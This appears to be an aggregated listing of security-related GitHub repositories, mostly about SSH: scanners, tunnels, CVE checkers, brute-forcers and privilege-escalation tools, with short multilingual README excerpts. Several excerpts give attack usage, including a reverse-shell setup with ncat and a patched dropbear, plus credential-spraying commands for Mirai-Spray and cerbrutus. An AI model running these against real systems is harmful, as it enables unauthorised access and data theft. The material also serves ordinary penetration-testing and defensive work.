shodan

Shodan Dorks by twitter.com/lothos612 Feel free to make suggestions Shodan Dorks Basic Shodan Filters city: Find devices in a particular city. city:"Bangalore" country: Find devices in a particular country. country:"IN" geo: Find devices by giving geographical coordinates...

xortool

xortool.py A tool to do some xor analysis: guess the key length based on count of equal chars guess the key base on knowledge of most frequent char Notice: xortool is now only running on Python 3. The old Python 2 version is accessible at the py2 branch. The pip package has been updated...

How-To-Secure-A-Linux-Server

如何保护 Linux 服务器 一份持续更新的 Linux 服务器安全加固指南，同时也希望能让你了解一些安全知识及其重要性。 目录 引言 指南目标 为什么要保护你的服务器 为什么又出一份指南 其他指南 待办/待添加 指南概述 关于本指南 我的使用场景 编辑配置文件——给懒人看的 贡献 开始之前 明确你的原则 选择 Linux 发行版 安装 Linux 安装前/后的要求 其他重要说明 使用 Ansible 剧本保护你的 Linux 服务器 SSH 服务器 进行 SSH 更改前的重要说明 SSH 公钥/私钥 为 AllowGroups 创建 SSH 组 保护 /etc/ssh/sshdconf...

chisel

Chisel Chisel 是一个快速的 TCP/UDP 隧道，通过 HTTP 传输，并经由 SSH 加密。单个可执行文件同时包含客户端和服务器端。使用 Go golang 编写。Chisel 主要用于穿透防火墙，但也可以用来为你的网络提供安全端点。 目录 功能特性 安装 演示 使用方法 贡献 更新日志 许可证 功能特性 易于使用 高性能 加密连接，使用 SSH 协议（通过 crypto/ssh） 认证连接；通过用户配置文件对客户端连接进行认证，通过指纹匹配对服务器连接进行认证。 客户端自动重连，采用指数退避策略（可通过 --min/max-retry-interval 调整）；心跳...

CVE-2024-6387-Vulnerability-Checker

CVE-2024-6387 漏洞检查器 概述 此 Python 脚本旨在检查 SSH 服务器是否存在 CVE-2024-6387 漏洞，专门针对最近发现的 regreSSHion 漏洞，该漏洞与特定版本的 OpenSSH 相关。该工具支持多个 IP 地址、URL、CIDR 范围和端口，并且可以从文件中读取地址。结果以分类和颜色编码的方式显示，以提高可读性。 功能特性 可定制 ：指定多个 IP 地址、URL、CIDR 范围和端口。 支持文件输入 ：从文件中读取地址和范围。 颜色编码输出 ：轻松区分易受攻击、安全、未知和错误结果。 网络范围处理 ：自动将 CIDR 范围扩展为单个 IP 地址...

penglab

Penglab Abuse of Google Colab for fun and profit. 🐧 What is it ? Penglab is a ready-to-install setup on Google Colab for cracking hashes with an incredible power, really useful for CTFs. See benchmarks below. It installs by default : Hashcat John Hydra SSH with ngrok And now, it can also : Launch...

mallory

mallory HTTP/HTTPS proxy over SSH. Installation Local machine: go install github.com/justmao945/mallory/cmd/mallory@latest Remote server: need our old friend sshd Configuration Config file Default path is $HOME/.config/mallory.json, can be set when start program mallory -config path/to/config.jso...

mallory

mallory 基于SSH的HTTP/HTTPS代理。 安装 本机：go install github.com/justmao945/mallory/cmd/mallory@latest 远程服务器：需要我们的老朋友 sshd 配置 配置文件 默认路径为 $HOME/.config/mallory.json，可在启动程序时设置 mallory -config path/to/config.json 内容： idrsa 是我们的私钥文件路径，可通过 ssh-keygen 生成 localsmart 是提供HTTP代理的本地地址，支持对目标主机进行智能检测 localnormal 类似于...

linuxprivcheck

linuxprivcheck 用于Linux权限提升的Python脚本 原作者是Mike Czumak Tv3rn1x -- @SecuritySift。 脚本 old-linuxprivchecker.py: 著名的 linuxprivchecker.py Python 已更新 - 我不会再更新它。 linuxprivchecker3.py: 著名的 linuxprivchecker.py，同时兼容 Python 2 和 3 并包含更新。 选项 --fast 不执行对 .sh 文件中密码的检查。 更新内容 在单个脚本中同时支持 Python 2 和 3 添加提示（逃逸...

Mirai-Spray

Mirai-Spray 使用 Hydra 扫描典型的 Mirai 加载器/主机列表格式。 此工具可用于检查一系列主机是否能够被连接。 安装 apt update -y && apt upgrade -y apt install tor git clone https://github.com/Skotizo/Mirai-Spray cd Mirai-spray g++ main.cpp -o spray ./spray 使用方法 ./spray host.txt telnet crackedTelnet.txt 或者 ./spray host.txt ssh crackedSsh.txt...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Authentication-Bypass Obtén un shell sin credenciales mediante CVE-2018-10933 Información sobre CVE-2018-10933 por libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Lanzamiento de corrección de errores por libSSH :...

pentestkoala

Koala 是 dropbear SSH 服务器的一个修补版本，它不绑定到端口，而是通过连接到远程客户端来开启反向 Shell。 这对于在被利用的机器上获取 pty 终端以及通过 SSH 端口转发安全地外泄数据非常有用。还可以通过使用动态 SSH 端口转发功能进行跳板攻击（Pivoting）。 用法 在客户端上运行以下命令以监听 SSH 连接： $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 在已被利用的主机上运行： $ ./dropbear -p client-host:5000 现在在客户端上，连接到端口 9999 以开启 Shell： $ s...

sshroute

sshroute CI | 代码 | OpenSpec | 安全 ---|---|---|--- | | | 网络感知的 SSH 路由器。它能检测你当前激活的网络或 VPN，并自动为每次 SSH 连接选择正确的主机、端口、身份文件和跳板机——无需修改 /...

cerbrutus

Cerbrutus 一个用Python编写的模块化暴力破解工具，用于非常快速地密码喷洒SSH和FTP，并将在不久的将来支持其他网络服务。 即将推出：SMB、HTTPs POST、HTTPs GET、HTTP BASIC AUTH 感谢 @0dayctf、Rondons、Enigma 和 001 进行测试和贡献 安装： cd /opt git clone https://github.com/Cerbrutus-BruteForcer/cerbrutus 使用： python3 /opt/cerbrutus/cerbrutus.py --help usage: cerbrutus.py -...

CVE-2026-106584

In ssh-keygen in OpenSSH before 10.6, certificates could have incorrect expiration times because of Daylight Saving mishandling. There can be a slightly more severe effect on users in certain Antarctic locations...

CVE-2026-106585

In sshd and ssh in OpenSSH before 10.6, there is no check for whether the maximum packet length is exceeded during decompression of highly compressed data...

CVE-2026-106582

In sshd and ssh in OpenSSH before 10.6, an LZ77 dictionary coder can be used even though this is contraindicated by the arXiv 2609.07709 "Crossing the Streams" findings...

Posh-SSH

Posh-SSH 描述 Windows PowerShell 模块，利用自定义版本的 SSH.NET 库，在 PowerShell 中提供基本的 SSH 功能。该模块的主要目的是方便从 Windows 主机自动对一个或多个启用 SSH 的 Linux 服务器执行操作。从 3.x 版本开始，该模块可通过 .Net Standard 在 Linux 和 Mac OS 上使用。 此模块适用于 Windows PowerShell 5.1 或 PowerShell 7.x。在 Windows Server 1709 或更旧版本上，需要 .Net Framework 4.8...

patch-manual-CVE-2025-26465-e-CVE-2025-26466

🛡️ Mitigación Manual - OpenSSH CVE-2025-26465 & CVE-2025-26466 🔍 Sobre el Script Este script aplica mitigaciones manuales para los problemas de seguridad en OpenSSH , sin la necesidad de actualización inmediata. 🚨 CVE-2025-26465 Elimina VerifyHostKeyDNS para evitar la interceptación de conexiones...

CVE-2025-32433

CVE-2025-32433 引言 本文件介绍了影响 Erlang/OTP 平台内置 SSH 服务器实现的漏洞 CVE-2025-32433 。 该漏洞是一种无需身份验证即可远程执行任意代码 RCE 的漏洞，影响多个 Erlang/OTP 分支（补丁发布前）： 27 版本至 27.3.3 26 版本至 26.2.5.11 25 版本至 25.3.2.20 Erlang/OTP 被广泛用作可扩展分布式系统的基础，并集成在许多知名项目的技术栈中（例如即时通讯软件、消息代理、高负载 Web 服务）。 SSH 基础库中存在关键的 RCE 漏洞，使得使用 Erlang/OTP 作为服务器或具有开放...